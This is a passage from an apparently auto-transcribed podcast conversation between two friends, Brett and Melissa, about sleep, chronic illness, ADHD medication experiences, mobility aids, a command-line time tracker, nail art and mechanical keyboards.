nine, 10, 11, 12, 11, Melissa: I actually dozed off on the couch around 8:30. Like, if only I could just be in my bed right now, just be, like, transported. Yeah. Oh. Brett: Oh, I, I wish. If I could go back to bed… Like, sometimes I’ll, I’ll lay back down around 7:00 or 8:00 and get, like, another half hour of sleep, but it’s really that, like, uninterrupted block of deep sleep that I need, not… I take naps during the day, and I can usually fall asleep for half an hour, um, given that I’m usually functioning on five hours of sleep anyway. But anyway, um, I– That, that’s just kind of par for the course for me, so, like, any, any of our listeners know that that’s gonna be the first thing I report. Melissa: are you, [00:11:00] like, kinda competing? Like, are you trying to get eight hours because that’s what’s prescribed? Have you ever thought about Brett: be- actually, what works eight and a half, like I’ve, I’ve… Back when I had the option to sleep more than five hours, like, I did a lot of kind of experimentation and Melissa: know where your sweet spot is. Brett: Well, it… See, the sweet pot- spot changes as you age, though, and you need less sleep as you get older. So, so I can’t say for sure that eight and a half hours is still my sweet spot. Um, and I think honestly, if I can sleep seven hours, I feel pretty good, and I consider seven hours a good night’s sleep. Melissa: Yeah, ’cause mine’s like between four and six. Brett: really? Yeah. See, Melissa: feel Brett: I don’t function well. Oh, I don’t function well on anything less than seven hours. Melissa: I just have a love-hate relationship with sleep. I just don’t– I just hate to sleep. I just would rather be doing other things. Life is [00:12:00] just too interesting. Brett: I get that. I– get that. I– as someone who’s bipolar and has had like manic episodes where I’m up for five days straight, like I, I love not sleeping. Um, w- when, when I have the mania to give me energy and back it up. It’s when I’m just dragging all day and feel like a zombie. The thing– The, the plus side to it is the more tired I am, up to a certain point, the better I can focus. Like my brain slows down and it’s really easy for me to get into hyperfocus. And like most mornings I’m up at, you know, 2:30, 3:00 and I just start coding. And I can not only hyperfocus, but I can switch focus between three or four different projects like simultaneously. I hit compile on one, I move on to the next one, and I can rotate [00:13:00] through them and like keep track of all of it. And then right around 10:00 AM, my ability to do that ends and suddenly I like flip to a project and I cannot for the life of me remember what I was doing, which is why I’ve spent my life building note-taking apps and, and time tracking tools. Melissa: Yep, same thing. Doing Time Tracker Brett: dude, h- d- I don’t… You might not be familiar with my project Doing. Melissa: N-no, but I– you alluded to something. that’s not what you’re working on with Dan though, is it? Brett: No, no, that’s gonna be Melissa: Dan on that too. I, I, don’t know what it is yet, but yeah, I’m, I’m Brett: Oh, it’s… Yeah, it’s gonna be cool. Melissa: that’s so exciting. Brett: no, Doing is a command line tool where you can type things like, “Doing now podcasting with Melissa,” and it starts a timer for like what I’m doing now, and then I can ask it if I leave and come back, I can say, “What was I doing?” And it’ll tell me, [00:14:00] “You’re podcasting with Melissa.” Obviously, that’s a weird example ’cause I’m not gonna leave in the middle of this. But then it can give you like totals, time, tag-based time totals, uh, for your week and everything. It can show you like what you finished yesterday. Um, it’s not so much a task tracking app as it is a tool for keeping track of what you’re doing in the moment. Um, for, for people like me who switch between four projects at once, it’s really handy. And some guy, some fucking guy Melissa: Some fucking guy. Brett: it, rewrote it in Rust, and it is really good. it is really good. Uh, he like, I- Oh yeah, I use Melissa: Okay, ’cause Brett: This is, this is separate. this is this is a little more ‘ intentional than Timing. Um, I use both. They kind of work together, and Doing can actually import Timing’s JSON exports. So you can turn your, you can turn [00:15:00] all your Timing data into command line, uh, readable Doing files. Um, but anyway, this guy rewrote it in Rust with my permission, and he gave me full credit on the page. And I think I’m switching ’cause Doing is written in Ruby, and Ruby is slow, and Rust is fast. And like my Doing file where it stores all of my current projects, like my Doing items, gets so big that it can take Doing like up to five seconds to respond when I ask it, “What was I doing today?” Which is five seconds is a long time on the command line. Um, and his Melissa: pretty instantaneous. Brett: his version is like 100 milliseconds. Boom. But anyway, Melissa: It’s almost like you built your own little AI thing. Like, what was I doing? What Brett: kinda, kinda, yeah. Melissa: you doing, Dave? Brett: This is, this [00:16:00] was built long before AI was a common thing, but the other thing that’s contributing to my mental health Suspenders And Stenosis Brett: is suspenders. Melissa: Ah, yes. Brett: So I have I have gained 100 pounds, um, not, n-not of my own choice, but like I had rapid weight gain and I recently got a stenosis diagnosis, which I hate the Melissa: telling you, I’m telling you, we’re like 23 and me here. I’ve got that too. Brett: apparently during one of my, like when I gained 50 pounds in like six weeks, my body was looking for places to store all the new fat and decided my spine might be a good place for that. Um, so I have fat in my spine and I have degrading discs. This is separate from my love of suspenders, so I’ll get back to [00:17:00] that. I, um, Melissa: Wait till you get it in your eyeballs. Brett: Oh, for real? Melissa: Yeah, you can have… I have, um, what’s it called? Cholesterol. Yeah, if you look at your eyes really close, if you see like a white kind of w- ridge around your irises, that’s cholesterol. Brett: Oh, wow. Yeah, I hope, I hope that hasn’t happened yet, but who knows? Um, Melissa: Brings out Brett: I– So I have all this, I have all this extra weight and I had a lot of trouble with belts. A, belts hurt ’cause they dig into my, my gut, and they don’t really work. I, every, every time I stood up, my butt crack showed and I had to like wiggle my pants up. And then I I tried a pair of suspenders and it was like a l- a switch had been flipped. All of a sudden my pants just stayed up without any constriction around my waist, just like they just stayed with me wherever I went. And now I can, [00:18:00] I can tuck my shirts in and it actually looks kinda cool when you got the suspenders look going on. Which means, so like for a long time I only wore one brand of shirt, um, and because they, it was, it fit my belly and it was long enough and like it wasn’t, wasn’t baggy around the top and didn’t hang off my belly like a muumuu. Melissa: Mm-hmm, Brett: And like, so I, I, I only wore this brand of shirt and I own like 15 of them, and I would just cycle through Melissa: dresses, they’re just your Walmart $10 cotton tank dress. Love it. Brett: Yeah. But now that I can tuck my shirts in and feel okay about it, I can buy those extra large nerd shirts, ones with funny slogans and stuff on them. And normally those would hang straight down off my belly, and I hate the way that looks. But now I can tuck those in, which means I can get back to wearing funny, [00:19:00] ironic T-shirts, and it, it’s like opening up a whole new world of possibilities Melissa: That is a bonus for mental health. Brett: every day now I put on my suspenders and it makes me happy. Um, Melissa: wonderful. It’s almost like a, like a mobility aid. Brett: Kinda, yeah. Melissa: yeah. Brett: of, I– So I, I have a monopod, um, like a tripod that folds up into a walking stick, and it’s nice and light and it is an adjustable height ’cause it’s designed to be used as a camera tripod. Um, and I’ve started walking with it Melissa: yeah. kinda like you’re Brett: I c- yeah. Yeah. Like one of my fat friends has s- literal like ski poles. They’re like half height ski poles and they walk with them and it helps them a ton, and I Melissa: Yeah, hikers use those. Brett: try that out. But a walking stick [00:20:00] really does help with my stenosis, but I can still, even with a stick, I can only walk for about five minutes, which is about .3, Melissa: Yeah. Brett: 3, .3 miles. Um, and then I have to stop and sit, and it’s been a real pain, literally. Mobility And Home Hacks Melissa: And is standing difficult, too? Brett: standing is worse than walking. Melissa: thing, yeah. Standing’s worse. Brett: Yeah. Like if I am in the kitchen and I’m at the stove cooking, before the onions start to brown, I have to sit Melissa: Yeah. Yep. Brett: Uh, so we now have a stool in our kitchen, Melissa: Do you have one in the shower? Brett: yes. Well, our shower, our shower has a nice, like the back of the tub is a seat. Melissa: Oh, okay. Yeah. Brett: I don’t know if this house was designed by old people or not, but, um, but it’s certainly everything is relatively [00:21:00] accessible in that way. Um, but the stool in the kitchen means I can cook dinner. Emptying the dishwasher is the worst for me. That just like bending over, picking stuff up, and then just moving back and forth, like the five feet across our kitchen. My– I, it takes me three stops, three rests to get a dishwasher emptied. Um, and then I’m kind of ruined after that. I hate it. And I hate that I Melissa: stress mat? Brett: What’s that? Oh, you mean Melissa: mat to stand on? Gotta get, gotta Brett: think that would help? Melissa: Oh, yeah. Yeah, I have Brett: used to have one Melissa: and one in front of the kitchen, and I don’t even, I don’t even, do the cooking. Brett: Ha. I used to, I used to have one of those in front of the stove when I w- when I didn’t have pain, but just because I was really getting into cooking and I was spending a lot of time, and I was starting to feel it in my knees. Um, yeah, maybe I should do Melissa: I think it’s a fatigue [00:22:00] mat, I think they call it. Brett: Yeah. Melissa: Yeah, Brett: That sounds Melissa: plus they look cool if you get little designs on them and stuff. Yeah. Oh, we could spend the day talking about just mobility aids and ergonomics and all that kind of stuff. Melissa Health Update Brett: Well, it’s your turn. Talk about whatever you like. Melissa: Yeah, you give me some ideas to talk about. Um, yeah, I struggle with a lot of the same things that you do. Um, I’m always like kinda comparing notes every time you post something. I’m like, "Oh No, ‘Cause you talked about Have you … You haven’t started the injections yet, have you? Brett: No, and they just delayed those. I don’t get them until like June 20th or something. Melissa: nervous about those for you, because I’ve had those and I’ve decided to just swear off them, so I’ll just kinda give you just a heads-up. I mean, it does raise your blood sugar, so that’s not great, and, um, it can give you the roid rage, kinda make you angry, so that’s something to watch out for, and more weight gain, so …But it’s like one of those things where you just have to kinda try [00:23:00] it and see if it works, because if it does work, then you could be more mobile and then maybe drop a few pounds and get some of that weight off of your spine. But if it doesn’t work, just know that that can happen, Brett: my doctor did not mention any of those side effects, so good to Melissa: Yeah. Yeah. It’s, it’s the chronic life, so that’s, that’s what, that’s what, uh, affects my mental health, so I’m, I’m really good at faking it. I am actually … I will say I’m actually feeling a little bit more even. ADHD Meds And Mutations Melissa: I’m on, uh … I love when you talk about different prescriptions and stuff. Uh, I just mentioned, so I’m taking Adderall. That is, ugh, it’s a mixed bag. Um, I wanted to ask you about Vyvanse, cause that’s the next thing for me, but it’s, like, super expensive, so I’m trying to make Adderall work as best I can, but I’m, I’m in the process of playing with the dosage. But I think she told me, like, the highest was 30. The thing is, uh, I’ve had genetic testing done, and [00:24:00] I have this condit- not a condition, but it’s a I’m a mutant. It’s a genetic mutation called, it’s, it’s just initials. It’s MTHFR, lovingly known as Brett: you process your, your, chemicals twice as … fast. I have Melissa: Yes, faster processing in the liver. So that’s when she told me, ’cause she started, uh, me out on methylphenidate, and I was like, “Well, what about Adderall?” Because it, I see it work for my kids, you know? The kids are chip off the old block, right? And so I’ve had them tested too, and all three of us are positive for that. It’s lovelin- lovingly known as the motherfucker gene mutation. Um, yeah, so, and it is. It’s, it’s quite a bitch, um, ’cause it causes a whole bunch of other problems. And of course, we’ve talked about Ehlers-Danlos, so I have, uh, hypermobile Eh- Ehlers-Danlos. I’m having a hard time … I’m just having a hard time with that in general, mental health wise, because there’s just not enough awareness about it, enough people, and doctors, doctors and nurses. And you know, I’ll, I’ll say I wanna, I would love to be able to get [00:25:00] to a point where I can just say, “I have H-E-D-S,” or heads or what- however they’re gonna pronounce it, and, like, somebody know what that is when I go in for an appointment. But I still have to explain it, you know? And then that, that cuts into my time. ‘Cause they only … When you’re, when you’re our age, they only give you, like, 15 minutes, if that. When you’re much older, ’cause I’ve had to take, I’ve had to take family members to the doctor, they get a whole lot more time. But, uh, you know, it’s like, "Oh, you’re, you’re too young to be this sick. You’re too young to be this old," Brett: Right. Yeah. Curious Doctors Matter Brett: Um, I did– I found that doctor for me that knew exactly what all those acronyms meant, knew exactly, like, not only did they know what POTS was, they knew like seven different kinds of POTS and what tests to use to narrow it down. And then she got called up to National Guard Melissa: Oh, I wondered, I wondered, what happened to that doctor, ’cause it sounded so Brett: I waited. I was on a, I was on– I w- I had an appointment scheduled that was gonna be six months from the time she [00:26:00] left. Um, and I had it scheduled, and it was on July 7th. And then I got a letter in the mail saying that her Guard duty had been extended, and now I can’t see her again until September. And, like, I’ve, I’ve tried seeing other doctors that work with her, but none of them have the knowledge she has, and it was such a relief Melissa: Is this the curious one? Okay. I always think about you whenever I’m either looking for a provider or in the, in the midst of, of getting, you know, shuffled around to a new provider. I’m like, “I hope they’re curious,” ’cause that made– that meant so much to me when you explained about how a doctor needs to be curious. I’m like, “That’s what I need.” I need somebody… Or even just my therapist. I have a new, a new therapist that I see, and she’s really curious, and I really, really like that about her. That’s something that helps with mental health, is when somebody’s curious, ’cause I’m Brett: it goes h- it goes hand in hand with credulousness. Like, [00:27:00] first they have to be willing to believe you, and like, especially when it comes to invisible issues like EDS. Like, you have to be willing to believe a person and then be curious enough to look for answers. Like, the first step is believing, and the second step is curiosity. Melissa: Yes. I’ve already had my patient record marked as… Have you ever heard this one? Worried well. Brett: No. Melissa: I looked it up. It’s basically hypochondriac. Brett: Yeah, that’s what I was gonna guess. That Melissa: Yep. I actually– I was proud of myself because I actually did confront the doctor about it and I said, “What does this mean?” I said, “I, I looked it up and it kinda concerns me ’cause it makes me look like a hypochondriac.” And she said, "Oh, no, no, that’s just a, a code that we use when we don’t have something else to assign to it so that insurance will pay." Bullshit. Brett: Yeah, right? I feel like that’s exactly the kind of [00:28:00] thing insurance doesn’t pay. Melissa: Mm-hmm. so Vyvanse Vs Adderall Brett: what do you wanna know about Vyvanse? Melissa: Um, a- and I know it’s different for everybody, but I just kinda wondered what your take was on it. Um, how– can you compare it to Adderall at all for me, Brett: Yeah. Melissa: no comparison? Brett: it’s basically a non-abusable, I would call it lower lying version of, of Adderall. Like, it’s in the same family of stimulant as Adderall, but it can’t– It isn’t processed or it’s… I don’t remember how the mechanics of it work, but you can’t snort it basically. Like, it doesn’t, it doesn’t do anything Melissa: Which I wouldn’t wanna do anyway ’cause there’s nothing up here. Brett: Sure. Sure. And then, yeah, I’m not suggesting that was gonna be a problem for you. Um, but it’s also, like, it’s way, um, for me anyway, it’s way calmer. [00:29:00] Um, and there are people that say it doesn’t do anything at all. Um, especially a lot of people, a lot of people say the generic version doesn’t do anything, um, and that the name brand version does, but I haven’t found that to be true. Like the generic, which you’re correct, still costs like 200 bucks a month, um, for the generic. Um, but it is– It’s not my favorite. Melissa: I wondered why– what made you stop taking it. Did it just not work for you? Brett: No, I still take Vyvanse. Um, yeah. Um, I used to take, um, Focalin, which I loved. Melissa: That really worked for my kiddo, yep. Brett: but it also triggered my mania, Melissa: Mm-hmm. Mm-hmm. Brett: so I was always walking this line of like, do I wanna be super productive and manic with like weeks of depression in between, [00:30:00] or do I just wanna be somewhat productive and stable? Um, which is why I’ve stuck with Vyvanse, and my doctor loves it enough for me that she won’t, she won’t prescribe anything else for me at this point. Like, I’ve asked about switching. I’ve asked about moving back to Adderall and things like that, but, Melissa: It seems like you’re, like you’re kinda on an evening out. Brett: Yeah, I haven’t had a manic episode for a couple years now. Tracking Mood With Data Melissa: Do you track it? Do you– Like, have you ever seen those– I keep seeing these ads for it ’cause, you know, the algorithm feeds us the stuff for wearables that are, um, called– I think it’s called Visible, so it makes your symptoms more visible instead of invisible. Like, do you track it? Do you Have you nerded out on your own data? Brett: like my mania and depression? Melissa: Yeah, like do you track it and look at graphs or anything like that to Brett: See, I’ve never had to use an external tool because I can just look at GitHub contribution graphs, and I can look at [00:31:00] my RSS feed, and I can see exactly, like for a period of like eight years, I can pinpoint exactly where my manic episodes were, um, because that data is historically preserved out there on the internet for all to see. Um, it’s, yeah, it’s– Well, and that’s, like I built tools that gathered that, those various sources of data. Um, and then there was a, a tool called, um, I forget. Melissa: cool, though? Hmm. We’ll think Brett: But it could pull, it could pull in all that data. Um, Bell Beth Cooper, Hello Code, I can’t remember the name of the app. Melissa: Yeah, it’ll come to you eventually. Brett: sure. Uh, but it could pull in like your GitHub, uh, commits along with like what the weather was at the time, how many songs you listened to that Melissa: Oh, day one sorta does that, yeah. Brett: Does it now? Melissa: A little bit, yeah, your locations, [00:32:00] um, if you turn on some of those things. Like not– I don’t think it does the music and things like that, but Brett: I haven’t used it for a while. I haven’t used it for a Melissa: I was gonna switch to the journal app. I was actually really… I held off on upgrading to Tahoe for the longest time, but that one kept nagging at me ’cause I thought, oh, you know, maybe. I mean, as much as I love Day One, I, I thought about, I thought about actually switching over, but no. I tried it. I’m, I’m gonna stick with Day One. Brett: Cool. All right. Cane And Somatic Therapy Brett: Um, so did you have, did you have more to add to your Melissa: Oh, I was gonna, I was gonna add on to what you were talking about with the suspenders. I did start… I think you probably… Well, yeah, you commented on it. Um, I started using a cane, and that I have mixed feelings about that. Um, I should have brought it in here so I could show you. I’ll show you later, ’cause, uh, anyway, it’s, it’s purple. I did get a pimp cane. That’s what my husband calls it. I thought, damn it, if I’m gonna use, like, a cane, then it’s gonna be [00:33:00] purple, and I’m gonna like looking at it, as much as I hate to use it, so. So I’ve been trying to use it. I… What you were talking about with, uh, with finding a curious doctor, I do have new physical therapist, um, so I’m really happy about that. Same kind of thing where she’s super booked. I think that’s just how it is. Like, the really good ones, they’re good, and, you know, it shows because it’s, it’s hard to get in to see them. So yeah. So I’m, I’m looking forward to that. We’re gonna be doing… Have you heard of somatic therapy? Brett: Yeah. Melissa: Yeah. So ha- have you tried it? Do, do you like it? Okay. That’s, that’s what I’m embarking on. Brett: I actually have a friend who teaches classes in it. Melissa: Oh, Al probably knows about that. Brett: y- yeah, Melissa: Yeah, I’ll, I’ll Brett: and it is, it is amazing how hard just doing things, doing motions you’re used to, but doing them very slowly and intentionally. It is like you– Just like, Just like, doing y- like a clamshell where you drop your knee, you’re [00:34:00] on your back and you drop your knee down to the side and bring it back up. Like that motion, most of us, even infirmed people can do that okay. You try to take… You try to do that and take like five breaths in each direction, and you’ll start shaking. It’s very Melissa: Ah, uh-huh. Yep. Brett: Yeah, but it’s good. Like it’s g- it really retrains your muscles. It really, it strengthens, retrains, and helps with, uh, finer motor control. Melissa: Oh, that’s interesting. Yeah, I, I’m, I’m a little bit on the skeptical end of it, so that’s why I’m, I’m glad that, that you, you vouch for it too. It’s like I know that it works, but I just… I guess I wanna understand the science of it a little bit more. Like, for example, I’ve tried, uh, acupuncture, and I just didn’t feel like it did, did anything for me. I think you have to be, like, a believer, and I just Brett: think so. Melissa: I, I, I even did that on purpose knowing that I kinda felt like it wasn’t gonna work. I was like, well, what if I just go into this? ‘Cause, [00:35:00] ’cause I talk to people and they’re like, "Well, you have to believe in it." I’m like, but what if I don’t? I just don’t, you know? I’m, I see it Brett: it’s not medicine if you have to believe in it. Melissa: Yeah. I mean, I see it work for other people. I know there’s, you know, such a thing as placebos and things like that, and I don’t know, it’s, it’s woo-woo and I, I, I like woo-woo stuff. I, it just, it didn’t do anything for me, so… It’s not to say that it doesn’t work for other people, but it just did not work for me, and I, I kind of, I, maybe I just, uh, did that on purpose when I, I try- probably just tripped myself up going into it thinking, well, I just don’t believe it, so if it works, then there must be science behind it. And then, then, I’ll believe. But it didn’t work out, so. So the, I’m a little bit on the fence about the somatic thing, but the, the, the gal that I’m working with is just so, she has EDS herself, and like, like what you were saying, like, she, she knows all about it and she could even, you know, tell me the, the type that she has, and I was like, I met, I met, actually last week I met two zebras in one week. [00:36:00] You, you’re familiar with the, the zebra mascot? If you, uh, the saying goes, if you hear hooves, think horses. But we’re not horses, are we? Yeah, so Yeah, so that’s, that’s our, our Somatics For EDS Melissa: EDS Brett: somatic– somatics you don’t have to believe in for them to work. Melissa: Okay, that is Brett: it’s an actual physical therapy method that trains the finer muscles, um, that surround your larger muscles and, and strengthens those, and it– Yeah, it’s for real. It’s, yeah, it’s not like a… It’s soma- I think, Melissa: w- totally Brett: ’cause I I had the same reaction when someone said somatics, ’cause I think, “Oh, that’s some holistic idea of the body, um, of soma,” and it’s… No, it’s, it’s got legit physical therapy behind it. Melissa: And, Yoga Modifications Melissa: you used to do a lot of yoga too, so that probably makes Brett: I still do. Melissa: Yeah? That’s [00:37:00] wonderful. Brett: it’s gotten really hard. Um, I can’t, I can’t– So I get dizzy Melissa: Yeah. Brett: going from sitting to standing, um, and my back gives out if I am in, like, horse or warrior two for more than a couple minutes. Um, and I can’t do cobras because I have a belly like a nine-month pregnancy. Um, so I have to do, like, prenatal yoga, um, which is actually a thing. Melissa: that’s a good idea. I’m glad you brought that up. I should look Brett: a- and I do chair yoga, um, where I I take the class that everyone else takes, but I modify it to work with… Like, there, there are defined moves that you do with a chair instead of. Instead of doing down dog, you do, like, a 90-degree down dog holding the back of a chair. Um, and you put, like, a knee on the chair to do warrior two, so you’re actually [00:38:00] resting. And Um, and you can do it fully seated too and get at least the arm exercises out of it. So I’ve been trying to maintain, maintain flexibility and some endurance. I’m not doing yoga the way I used to do it, but I am still Melissa: I’ve seen some of your poses. It’s pretty impressive. Brett: Yeah, back in the day. Melissa: W- when you could be upside down. Polycystic Liver Shock Melissa: I should look into that because I, you know, although I’m done having babies, like far done having babies, I have… You probably know about this too, I have polycystic liver disease, which is a really rare type of liver disease, and it’s not fatty liver. Oh my God, I have to keep telling doctors that. That’s the other thing. It’s like, it is not fatty liver. It is not. It- they’re cysts. It’s a totally different thing. I’m basically full of bubbles. So I… But it feels like that’s why I went in to get it. I didn’t actually get that checked. I found it accidentally when I went in for an heart, for a heart CT. That’s when they found it, and for a, a breast MRI, so [00:39:00] both those, those types of scans caught it. The other parts were fine, so my heart’s fine, so that’s a relief. But yeah, so this was a bit of a shock. And so I don’t know exactly what it means moving forward, um, but my entire liver is, like, engulfed in cysts, so. Right? But my blood work is, is fantastic right now, so I’m just gonna keep Brett: That’s good. Melissa: hoping it stays that way. Brett: That’s something. Fatphobia In Healthcare Brett: Um, I I have heard for a long time about, um, doctors being fatphobic and, and always assuming that, um, always assuming that your health i-issue is because you’re fat and not even looking for underlying issues, which has been an interesting experience for me because that really never happened to me. Melissa: Mm. Brett: Um, at least not once I switched to Gundersen from, like, a local clinic. Then I realized that it’s not just being fat that gets you [00:40:00] stigmatized, it’s being a fat woman. Melissa: Mm, I was gonna say try having a uterus and being Brett: yeah. Yeah. Um, like I talked to one of my best friends, April, who he’s, has been on Melissa: by, women doctors. Brett: Yeah. Yeah. And that’s, that’s what April tells me. She tells me all these horror stories. Even after finding care she trusted, she still has to deal with people saying, “Well, if you just lost some weight.” Like, she’s been fat her whole life. She’s in better shape than most skinny people Melissa: Yeah. Mm-hmm. Brett: I mean, she does sit-ups with 50-pound plates and does, like, five, 10 miles at a time on her, like, on her bike and, like, she’s in great shape and still has to walk with the ski poles, and she’s getting her second knee replaced this week. And, like, it, it’s just infuriating to hear the way that doctors dismiss Melissa: You know what the problem is, Brett? Brett: goes through [00:41:00] when Pole Dancing Reality Check Melissa: Not enough doctors have watched fat pole dancers. That is the problem right there. They need more education. Brett: Um, yeah. There’s, there are a couple of, um, queer burlesque shows Melissa: shows, yes. Brett: in my area that almost always include a plus-size pole dance, and it is amazing to Melissa: Oh, it’s mesmerizing. It should be an Olympic sport. Remind me to send you the, the link to, unless you’ve already seen it, have you seen the Deadpool pole dancer? Brett: No, I don’t think Melissa: you are in for a treat. We might just have to put that in the show notes, but I don’t know, I don’t know if your listeners are that, are into that It’s fully clothed, but it’s, there’s even blue Crocs involved. Brett: So this is nobody that you’re seeing on the Melissa: I wondered, yep. I wondered, yeah. Aw, he looks so soft. Mm. Mechanical Keyboard ASMR Brett: So you’ve [00:42:00] gotten really into mechanical keyboards. Melissa: have, I have. In fact, uh, I was gonna, I was gonna see how this might sound, but I, I brought my little box of key caps to show you so that I could say, welcome to my ASMR channel. Brett: That would… is is that a thing? I bet there are ASMR, like, key switch testing. Melissa: yeah, yeah. I’ve run across a couple of videos where, you know, they’ll have a hashtag ASMR in there, and that’s, that’s what it is. Do you experience ASMR yourself? Brett: No. Melissa: No? So when you listen to those videos you don’t get like the s- the tickling of the spine and stuff? Brett: No. Melissa: I do. It actually, it goes, it… I forget. I always forget what the acronym stands for, but it, you know, has something to do with the meridian. So if you can i- imagine your brain like split in half, and I feel it right on this side. It goes, it goes like the, down the back of my head, behind my ear, and down into my shoulder. It [00:43:00] is the funkiest feeling, and I love it. I love it so much. Even when we were talking about animals in the, in the beginning and I even had a cat that would come and just like kind of lick my ear and, oh, I just, I love that. Most people cannot stand that sound. They have the opposite condition where they can’t handle somebody chewing gum. My grandfather had that. Um, some, some kinda, it ends in a tonia. Misatonia or something like that, um, where… I don’t know. Do you have any of those like sound sensory issues? I have a lot of Brett: really don’t. I’m very, I’m very, like, sound Like, I like loud, heavy music. Like, that does something for my psyche. Um, but general sounds, they neither bo-bother me nor stimulate me. Melissa: imagine what that’s like. I just can’t. I’m So bothered, and my kids too, and you know, ugh, God, Brett: So El Melissa: has been problematic. Brett: El is, El is, definitely sensitive to sound, um, in a way that Like, even my [00:44:00] mechanical keyboards can’t be, can’t be on the same floor of the house as Elle. We pretty much live in silence, and that’s fine for me most of the time because, like, it just doesn’t affect me either way. So, like, keeping things quiet is easy, and I focus well in silence. And then when Elle’s gone, I blast my music, and w- when I’m in the car, I blast my music, and then the rest of the time I live in the quiet place. Melissa: Mm-hmm. In The Quiet Place. Brett: Yeah. Melissa: Yeah, we have- something a little similar, but m- my husband and I have, uh… We have our his and hers kind of setup here in, in the, in our den, in our inner study. So he’s got his side and I’ve got my side. So we’re together, and he does a lot of grading papers, and he’s really good about putting his, his earbuds in and just tuning the whole world out. He’s… It’s fascinating to watch that man just [00:45:00] execute. I mean, I just am so envious of people who can just execute. But the, the, the, yeah, the sensory, it’s all about the sensory stuff for me when it comes to keyboards. I actually thought about… I don’t know how popular it would be, but I also thought about making a podcast, a video podcast, that would highlight the intersection of nail art and mechanical keyboards. Because I’ll tell you, that’s actually what… I’ve always loved mechanical keyboards, but yeah, the, the one that I had, someone had given me a, a Matias, and oh, it’s, it’s so loud, but it’s like high-pitched. It’s kinda sharp. And it was even kind of annoying to me after a while. And then it does not, it’s not a mechanical keyboard in that you can’t pull the switches out, so you’re kinda stuck with what you got. Like, you might be able to change the key caps if you could find them, but couldn’t change the switches. And something happened to the S key, and I was like, “All right, it’s over,” so. But I can’t get rid of them either, so one of these days I wanna have like a display of, of keyboards. [00:46:00] Nail Art And Picking Melissa: But what got me, what got me into saying, “Okay, I’m finally, I’m just gonna invest in a keyboard because it’s ergonomically important to me,” is I have… And I can’t pronounce it, so I’m not even gonna try, but there’s a condition, and it’s a self-diagnosed thing. But I, I am a picker. I pick my skin a lot. Um, I think it’s called derma something Anyway, so I wasn’t gonna try to pronounce it. But, uh, I’ve always had that condition since I was a kid. I didn’t even know it was a thing. I just thought everybody get, uh, picks. But then during the pande- during the pandemic, it got super bad. Like, I had, I had, um, some panic attacks and, you know, as a lot of probab- people probably did. But it got so bad to the point where I had picked my fingers and they were bleeding and they were throbbing and they were hurting. And I said to one of my kids, I said to my youngest, I said, “Can you just, like, if I, if I’m picking, can you just let me know?” And then I regretted doing that because then he took it on as this, like, full-time job, you know? And it kinda [00:47:00] gave him anxiety, and I thought, “Oh, okay, that, that was a bad thing to do.” So I s- I let him off the hook. I said, “No, you don’t have to tell me anymore.” Um, because, yeah, ev- even if I went to, like, just kinda, like, clean under my nail or something. So it was actually causing a real problem for the family that I was just picking so much. And it’s not just my fingers, it’s, like, other parts of my body. So I thought to myself, “Well, what can I do about this?” And so I started putting fake nail tips on. And I hate to be all, like… I don’t know, I’m not, I try not to be, like, a very vain person, but I really started kinda falling into the nail art side of things, and I, I just recently learned how to do gel and work with, um, uh, what’s it called? Uh, not resin. So I… Oh, that’s another ASMR thing. Do you like to watch resin pours? Brett: I do, actually, yes. Melissa: that’s… Okay, so if you like resin pours, if you like to watch the viscosity and the way the, the chemicals, like, form together and when they, when they mix colors in and stuff, [00:48:00] that’s what it’s like with nail art but on more of, like, a macro level because it’s, you know, you’re working with small stuff. Like, just, just recently I learned how to do… So I’m showing Brett this on, on camera, but I recently learned how to do the kind of nail polish that you take a magnet and you run the magnet along it, and it makes this, like, a cat’s eye. Brett: Yeah, that’s cool. Melissa: I love it. So, so that, so combining nail art then, and I thought, “Well, now I’ve got these long nails,” but all of my keyboards have been these flat, really low-profile keyboards. And, you know, I just, I started to dread it. So then I was kinda caught between a crossroads. Like, either I leave nails off and I can type really, really fast and have high accuracy with no nails, but then as soon as, as soon as I get, like, a little snag or something, then I start picking and then it’s just, it’s all over then. Or I try to find a way to work with these nails. So that’s what I started thinking, “Well, maybe if I had higher keys.” And so then I just, yeah, rabbit hole. [00:49:00] Went down the rabbit hole, and I’ve, I’ve just kinda been there ever since. And, uh, it really, I think, uh… Let’s see. How long ago did this start? It’s only been about maybe like six months or something like that, so. Keyboard Layout Rabbit Hole Melissa: But in that time so I’ve started, um, building a collection of switches. So I’ve been really interested in both the key caps and the switches. Um, I’ve got my baseboards. I like my Royal Kludge the best. This is… I’m gonna show Brett my Royal Kludge. So, so this is what it’s looking like right now. Brett: Yeah. Melissa: It is very purpley. Um, I did post some pictures. I can… I don’t know if you do pictures in show notes, but I could take some pictures for you It’s got a knob. It’s got, um… Let me see if I can do it real Brett: Do you use the knob. I have a couple keyboards with knobs and even a joystick, and I never actually use them Melissa: Good question. Um, I, I use it, I try to use it for volume at [00:50:00] times, and that’s probably what I use it for the most. But this one does have a… Let’s see if I can get this into focus here, backwards and upside down. It’s gonna be upside down, but you see how you can put, you can put your logo Brett: Oh, yeah. Nice. Melissa: got my The Mac Mommy little logo on there. Otherwise, it gives you the time in military format, so that’s kind of handy to have. Um, but yeah, it’s… To be honest, I, I love the, I love this Royal Kludge because it’s nice and heavy, and I love the form factor. It’s got a number pad, um, because I’m, because I am a grown-ass adult and I need a number pad. Um, but it’s nice and heavy. It doesn’t, it doesn’t move around my desk a lot. I kind of have to type, like, kind of crooked, ’cause that’s just the way my neck goes to the wrong way and stuff like that. So I like being able to fit it on my desk. I have a, I had a larger one made by Red, uh, what is it? Redragon. This is the one that I started [00:51:00] out with. Gonna make lots of noise here. But as you can see, this one is way bigger. And it was, as much as I liked it, I mean, I fell in love with it, but what was happening was my accuracy was, like, really thrown off because I fe- I kept feeling like it just needs to be, like, a couple centimeters to the right or a couple centimeters to the left. It just wasn’t centered very well. So this one, my husband gets all the hand-me-downs, so that one went over onto his desk. Uh, and then I also have a baby keyboard here, and this is another Redragon. This is my little mini one. Brett: that’s, that’s the kind of keyboard I mostly use, like a 70% keyboard. Melissa: Yeah, I think this one’s even 60. Um… Brett: My– The one I’m using right now is, uh, 60. There’s no, there’s no function row, there’s no arrow, there’s no keypad or, like, arrow pad. Um, Melissa: No [00:52:00] arrows? How do you live without arrows? Oh, do you, you mapped your keys to something Brett: so it looks like this, Melissa: nice. I love the Brett: that the, the space bar is split in two. Yeah, my, my, my partner says it looks like, uh, gay ’80s. It’s all pink and blue and purple. Um, but the, the space bar is split, and the right half of mine functions as something called a mod key, and when I hold that down, then my I, J, K, and L keys become arrow keys. Melissa: 